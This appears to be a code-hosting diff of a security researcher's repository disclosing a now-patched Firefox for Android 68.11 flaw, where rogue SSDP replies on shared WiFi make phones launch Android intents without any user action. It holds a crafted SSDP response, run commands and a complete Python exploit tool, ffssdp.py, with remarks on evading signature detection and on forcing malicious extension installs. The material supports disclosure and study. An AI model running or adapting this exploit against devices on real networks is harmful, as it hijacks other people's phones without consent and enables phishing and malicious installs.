🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    .gitattributes
     1 +# Auto detect text files and perform LF normalization
     2 +* text=auto
     3 + 
  • ■ ■ ■ ■ ■ ■
    firefox/README.md
     1 +# Firefox for Android LAN-Based Intent Triggering
     2 + 
     3 +*Exploit research and development by Chris Moberly (Twitter: [@init_string](https://twitter.com/init_string))*
     4 + 
     5 +## Overview
     6 + 
     7 +The SSDP engine in Firefox for Android (68.11.0 and below) can be tricked into triggering Android intent URIs with zero user interaction. This attack can be leveraged by attackers on the same WiFi network and manifests as applications on the target device suddenly launching, without the users' permission, and conducting activities allowed by the intent.
     8 + 
     9 +The target simply has to have the Firefox application running on their phone. They do not need to access any malicious websites or click any malicious links. No attacker-in-the-middle or malicious app installation is required. They can simply be sipping coffee while on a cafe's WiFi, and their device will start launching application URIs under the attacker's control.
     10 + 
     11 +I discovered this bug while the newest version of Firefox Mobile v79 was being rolled out globally. Google Play Store was still serving a vulnerable version at this time, but only for a short period. I reported the issue directly to Mozilla, just to be safe. They responded right away and were quite pleasant to work with, providing some good info on where exactly this bug came from. They were able to confirm that the vulnerable functionality was not included in the newest version and opened some issues to ensure that the offending code was not re-introduced at a later time.
     12 + 
     13 +If you find a Firefox bug, I definitely recommend sending it straight to them. The process is very easy, the team members are smart and friendly, and it's a good way to support a project that has helped shape the way we use the web.
     14 + 
     15 +As long as you have app updates enabled and have recently connected to WiFi, you should have received the new version and are safe from exploitation. You can verify this yourself by opening Firefox on your device, clicking the three dots next to the address bar, and navigating to "Settings -> About Firefox". If your version is 79 or above, you are safe.
     16 + 
     17 +This write-up is specifically about the Android mobile application - the desktop application does not have this vulnerability.
     18 + 
     19 +![Video Demo (click lower-right to expand)](poc.mp4)
     20 + 
     21 +![Alternate demo (thank to @LukasStefanko)](poc2.mp4)
     22 + 
     23 +## Technical Details
     24 + 
     25 +The vulnerable Firefox version periodically sends out SSDP discovery messages, looking for second-screen devices to cast to (such as the Roku). These messages are sent via UDP multicast to 239.255.255.250, meaning any device on the same network can see them. If you run Wireshark on your LAN, you will probably see something on your network doing the same. A discovery message from Firefox looks like this:
     26 + 
     27 +```
     28 +M-SEARCH * HTTP/1.1
     29 +Host: 239.255.255.250:1900
     30 +ST: roku:ecp
     31 +Man: "ssdp:discover"
     32 +MX: 3
     33 +```
     34 + 
     35 +Any device on the local network can respond to these broadcasts and provide a location to obtain detailed information on a UPnP device. Firefox will then attempt to access that location, expecting to find an XML file conforming to the UPnP specifications.
     36 + 
     37 +This is where the vulnerability comes in. Instead of providing the location of an XML file describing a UPnP device, an attacker can run a malicious SSDP server that responds with a specially crafted message pointing to an [Android intent URI](https://developer.android.com/training/basics/intents/sending). Then, that intent will be invoked by the Firefox application itself.
     38 + 
     39 +For example, responding with a message like the following would force any Android phones on the local network with Firefox running to suddenly launch a browser to `http://example.com`:
     40 + 
     41 +```
     42 +HTTP/1.1 200 OK
     43 +CACHE-CONTROL: max-age=1800
     44 +DATE: Tue, 16 Oct 2018 20:17:12 GMT
     45 +EXT:
     46 +LOCATION: intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end
     47 +OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
     48 +01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
     49 +SERVER: UPnP/1.0
     50 +ST: roku:ecp
     51 +USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
     52 +BOOTID.UPNP.ORG: 0
     53 +CONFIGID.UPNP.ORG: 1
     54 +```
     55 + 
     56 +## Proof of Concept
     57 + 
     58 +If you'd like to play around with the bug yourself, you can grab an older version of Firefox for Android [here](https://archive.mozilla.org/pub/mobile/releases/68.11.0/).
     59 + 
     60 +I've spent a bit of time developing attack POCs for SSDP vulnerabilities in other applications, using a tool I wrote called [evil-ssdp](https://github.com/initstring/evil-ssdp). I created a modified version of that tool specifically to demonstrate this Firefox vulnerability. It's attached to this repository as [ffssdp.py](ffssdp.py).
     61 + 
     62 +We'll start with forcing all phones on the LAN to pop up a web browser to http://example.com.
     63 + 
     64 +First, just open Firefox on your Android device and let it sit there.
     65 + 
     66 +Next, run the exploit on a Linux laptop that is connected to the same wireless network as your Android device. The Android emulator will work, as well. Disable the firewall on your laptop while testing, or at least permit UDP broadcasts to be received.
     67 + 
     68 +```
     69 +# Replace "wlan0" with the wireless device on your attacking machine.
     70 +python3 ./ffssdp.py wlan0 -t "intent://example.com/#Intent;scheme=http;package=org.mozilla.firefox;end"
     71 +```
     72 + 
     73 +Firefox on the mobile device should go to http://example.com within a few seconds, and you'll see some logging in the attack tool as well.
     74 + 
     75 +Another example is to call other applications. Running the attack tool like this will pop the mail application with arbitrary text. Pretty scary to have happen on your device when you're just minding your own business:
     76 + 
     77 +```
     78 +# Replace "wlan0" with the wireless device on your attacking machine.
     79 +python3 ./ffssdp.py wlps0 -t "mailto:[email protected]?subject=I've%20been%20hacked&body=OH%20NOES!!!"
     80 +```
     81 + 
     82 +And one more, just for testing purposes. This will just pop the dialer:
     83 + 
     84 +```
     85 +# Replace "wlan0" with the wireless device on your attacking machine.
     86 +python3 ./ffssdp.py wlan0 -t "tel://1337h825012"
     87 +```
     88 + 
     89 +## Impact
     90 + 
     91 +This is not some super fancy memory-corruption bug that can be invoked from across the planet. It's a pretty straight-forward logic bug that basically allows you to magically click links on other peoples' phones who are in the same building as you.
     92 + 
     93 +The vulnerability resembles RCE (remote command execution) in that a remote (on same WiFi network) attacker can trigger the device to perform unauthorized functions with zero interaction from the end user. However, that execution is not totally arbitrary in that it can only call predefined application intents.
     94 + 
     95 +Had it been used in the wild, it could have targeted known-vulnerable intents in other applications. Or, it could have been used in a way similar to phishing attacks where a malicious site is forced onto the target without their knowledge in the hopes they would enter some sensitive info or agree to install a malicious application. The exploit POC can direct-link to a `.xpi` file, prompting for immediate installation of a malicious extention to compromise the browser itself.
     96 + 
     97 +The POC code is persistent, in that it will trigger the intent over and over until stopped. This increases the chances of someone agreeing to install a malicious package as the prompt will pop up over and over until the attacker stops running the tool.
     98 + 
     99 +With mobile apps, it is possible that many people remain on outdated versions for an extended period of time. This is due to the default setting of applications updating only when connected to WiFi, and the fact that some may only rarely (or never) connect to a WiFi network. Fortunately, this bug is exploitable only over WiFi, so those that cannot connect to update can also not be targeted.
     100 + 
     101 +As a final thought, this most definitely could have been an epic rick roll, where everyone in the room running Firefox tried to figure out what the heck was going on.
     102 + 
     103 +Thanks for reading!
  • ■ ■ ■ ■ ■ ■
    firefox/ffssdp.py
     1 +#!/usr/bin/env python3
     2 + 
     3 +"""
     4 +Modified version of evil-ssdp designed to target Firefox for Android
     5 +versions 68.11.0 and lower.
     6 + 
     7 +evil-ssdp does a lot more, which is why some of this code may seem extra or
     8 +overkill. Sorry about that. :)
     9 +"""
     10 + 
     11 +from multiprocessing import Process
     12 +from email.utils import formatdate
     13 +import sys
     14 +import os
     15 +import re
     16 +import argparse
     17 +import socket
     18 +import struct
     19 +import signal
     20 +import random
     21 +import time
     22 + 
     23 + 
     24 +BANNER = r'''
     25 + _____ _____ .___
     26 +_/ ____\/ ____\______ ______ __| _/_____
     27 +\ __\\ __\/ ___// ___// __ |\____ \
     28 + | | | | \___ \ \___ \/ /_/ || |_> >
     29 + |__| |__| /____ >____ >____ || __/
     30 + \/ \/ \/|__|
     31 + 
     32 +...by initstring
     33 +'''
     34 + 
     35 +print(BANNER)
     36 + 
     37 + 
     38 +if sys.version_info < (3, 0):
     39 + print("\nSorry mate, you'll need to use Python 3+ on this one...\n")
     40 + sys.exit(1)
     41 + 
     42 + 
     43 +class PC:
     44 + """PC (Print Color)
     45 + Used to generate some colorful, relevant, nicely formatted status messages.
     46 + """
     47 + green = '\033[92m'
     48 + blue = '\033[94m'
     49 + orange = '\033[93m'
     50 + red = '\033[91m'
     51 + endc = '\033[0m'
     52 + ok_box = blue + '[*] ' + endc
     53 + note_box = green + '[+] ' + endc
     54 + warn_box = orange + '[!] ' + endc
     55 + msearch_box = blue + '[M-SEARCH] ' + endc
     56 + xml_box = green + '[XML REQUEST] ' + endc
     57 + detect_box = orange + '[OTHER] ' + endc
     58 + 
     59 + 
     60 +class SSDPListener:
     61 + """UDP multicast listener for SSDP queries
     62 + This class object will bind to the SSDP-spec defined multicast address and
     63 + port. We can then receive data from this object, which will be capturing
     64 + the UDP multicast traffic on a local network.
     65 + """
     66 + 
     67 + def __init__(self, local_ip, args):
     68 + self.sock = None
     69 + self.known_hosts = []
     70 + self.local_ip = local_ip
     71 + self.target = args.target
     72 + self.analyze_mode = args.analyze
     73 + ssdp_port = 1900 # Defined by SSDP spec, do not change
     74 + mcast_group = '239.255.255.250' # Defined by SSDP spec, do not change
     75 + server_address = ('', ssdp_port)
     76 + 
     77 + # The re below can help us identify obviously false requests
     78 + # from detection tools.
     79 + self.valid_st = re.compile(r'^[a-zA-Z0-9.\-_]+:[a-zA-Z0-9.\-_:]+$')
     80 + 
     81 + # Generating a new unique USD/UUID may help prevent signature-like
     82 + # detection tools.
     83 + self.session_usn = ('uuid:'
     84 + + self.gen_random(8) + '-'
     85 + + self.gen_random(4) + '-'
     86 + + self.gen_random(4) + '-'
     87 + + self.gen_random(4) + '-'
     88 + + self.gen_random(12))
     89 + 
     90 + # Create the socket
     91 + self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
     92 + self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
     93 + 
     94 + # Bind to the server address
     95 + self.sock.bind(server_address)
     96 + 
     97 + # Tell the operating system to add the socket to
     98 + # the multicast group on for the interface on the specific IP.
     99 + group = socket.inet_aton(mcast_group)
     100 + mreq = struct.pack('4s4s', group, socket.inet_aton(self.local_ip))
     101 + self.sock.setsockopt(
     102 + socket.IPPROTO_IP,
     103 + socket.IP_ADD_MEMBERSHIP,
     104 + mreq)
     105 + 
     106 + @staticmethod
     107 + def gen_random(length):
     108 + """Generates random hex strings"""
     109 + chars = 'abcdef'
     110 + digits = '0123456789'
     111 + value = ''.join(random.choices(chars + digits, k=length))
     112 + return value
     113 + 
     114 + def send_location(self, address, requested_st):
     115 + """
     116 + This function replies back to clients letting them know where they can
     117 + access more information about our device. The keys here are the
     118 + 'LOCATION' header and the 'ST' header.
     119 + 
     120 + When a client receives this information back on the port they
     121 + initiated a discover from, they will go to that location to look for an
     122 + XML file.
     123 + """
     124 + url = self.target
     125 + date_format = formatdate(timeval=None, localtime=False, usegmt=True)
     126 + 
     127 + ssdp_reply = ('HTTP/1.1 200 OK\r\n'
     128 + 'CACHE-CONTROL: max-age=1800\r\n'
     129 + 'DATE: {}\r\n'
     130 + 'EXT:\r\n'
     131 + 'LOCATION: {}\r\n'
     132 + 'OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n'
     133 + '01-NLS: {}\r\n'
     134 + 'SERVER: UPnP/1.0\r\n'
     135 + 'ST: {}\r\n'
     136 + 'USN: {}::{}\r\n'
     137 + 'BOOTID.UPNP.ORG: 0\r\n'
     138 + 'CONFIGID.UPNP.ORG: 1\r\n'
     139 + '\r\n\r\n'
     140 + .format(date_format,
     141 + url,
     142 + self.session_usn,
     143 + requested_st,
     144 + self.session_usn,
     145 + requested_st))
     146 + ssdp_reply = bytes(ssdp_reply, 'utf-8')
     147 + self.sock.sendto(ssdp_reply, address)
     148 + 
     149 + def process_data(self, data, address):
     150 + """
     151 + This function parses the raw data received on the SSDPListener class
     152 + object. If the M-SEARCH header is found, it will look for the specific
     153 + 'Service Type' (ST) being requested and call the function to reply
     154 + back, telling the client that we have the device type they are looking
     155 + for.
     156 + 
     157 + The function will log the first time a client does a specific type of
     158 + M-SEARCH - after that it will be silent. This keeps the output more
     159 + readable, as clients can get chatty.
     160 + """
     161 + remote_ip = address[0]
     162 + header_st = re.findall(r'(?i)\\r\\nST:(.*?)\\r\\n', str(data))
     163 + if 'M-SEARCH' in str(data) and header_st:
     164 + requested_st = header_st[0].strip()
     165 + if re.match(self.valid_st, requested_st):
     166 + if (address[0], requested_st) not in self.known_hosts:
     167 + print(PC.msearch_box + "New Host {}, Service Type: {}"
     168 + .format(remote_ip, requested_st))
     169 + self.known_hosts.append((address[0], requested_st))
     170 + if not self.analyze_mode:
     171 + self.send_location(address, requested_st)
     172 + else:
     173 + print(PC.detect_box + "Odd ST ({}) from {}. Possible"
     174 + "detection tool!".format(requested_st, remote_ip))
     175 + 
     176 + 
     177 + 
     178 +def process_args():
     179 + """Handles user-passed parameters"""
     180 + parser = argparse.ArgumentParser()
     181 + parser.add_argument('interface', type=str, action='store',
     182 + help='Network interface to listen on.')
     183 + parser.add_argument('-t', '--target', type=str, default='tel://101',
     184 + help='Intent URI to triger. Default: tel://101')
     185 + parser.add_argument("-a", "--analyze", action="store_true", default=False,
     186 + help='Run in analyze mode')
     187 + args = parser.parse_args()
     188 + 
     189 + # The following two lines help to avoid command injection in bash.
     190 + # Pretty unlikely scenario for this tool, but who knows.
     191 + char_whitelist = re.compile('[^a-zA-Z0-9 ._-]')
     192 + args.interface = char_whitelist.sub('', args.interface)
     193 + 
     194 + return args
     195 + 
     196 +def get_ip(args):
     197 + """
     198 + This function will attempt to automatically get the IP address of the
     199 + provided interface.
     200 + """
     201 + ip_regex = r'inet (?:addr:)?(.*?) '
     202 + sys_ifconfig = os.popen('ifconfig ' + args.interface).read()
     203 + local_ip = re.findall(ip_regex, sys_ifconfig)
     204 + try:
     205 + return local_ip[0]
     206 + except IndexError:
     207 + print(PC.warn_box + "Could not get network interface info. "
     208 + "Please check and try again.")
     209 + sys.exit()
     210 + 
     211 +def print_details(args):
     212 + """
     213 + Prints a banner at runtime, informing the user of relevant details.
     214 + """
     215 + print("\n\n")
     216 + print("########################################")
     217 + print(PC.ok_box + "MSEARCH LISTENER: {}".format(args.interface))
     218 + print(PC.ok_box + "INTENT: {}".format(args.target))
     219 + if args.analyze:
     220 + print(PC.warn_box + "ANALYZE MODE: ENABLED")
     221 + print("########################################")
     222 + print("\n\n")
     223 + 
     224 + 
     225 +def listen_msearch(listener):
     226 + """
     227 + Starts the listener object, receiving and processing UDP multicasts.
     228 + """
     229 + while True:
     230 + data, address = listener.sock.recvfrom(1024)
     231 + listener.process_data(data, address)
     232 + 
     233 + 
     234 +def main():
     235 + """Main program function
     236 + Uses Process to multi-thread the SSDP server (evil-ssdp also had a web
     237 + server, hence the setup).
     238 + """
     239 + args = process_args()
     240 + local_ip = get_ip(args)
     241 + 
     242 + listener = SSDPListener(local_ip, args)
     243 + ssdp_server = Process(target=listen_msearch, args=(listener,))
     244 + 
     245 + 
     246 + print_details(args)
     247 + time.sleep(1.5)
     248 + 
     249 + try:
     250 + ssdp_server.start()
     251 + signal.pause()
     252 + except (KeyboardInterrupt, SystemExit):
     253 + print("\n" + PC.warn_box +
     254 + "Thanks for playing! Stopping threads and exiting...\n")
     255 + ssdp_server.terminate()
     256 + sys.exit()
     257 + 
     258 + 
     259 + 
     260 +if __name__ == "__main__":
     261 + main()
     262 + 
  • firefox/firefox-68-10-1.apk
    Binary file.
  • firefox/poc.mp4
    Binary file.
  • firefox/poc2.mp4
    Binary file.
Please wait...
Page is in error, reload to recover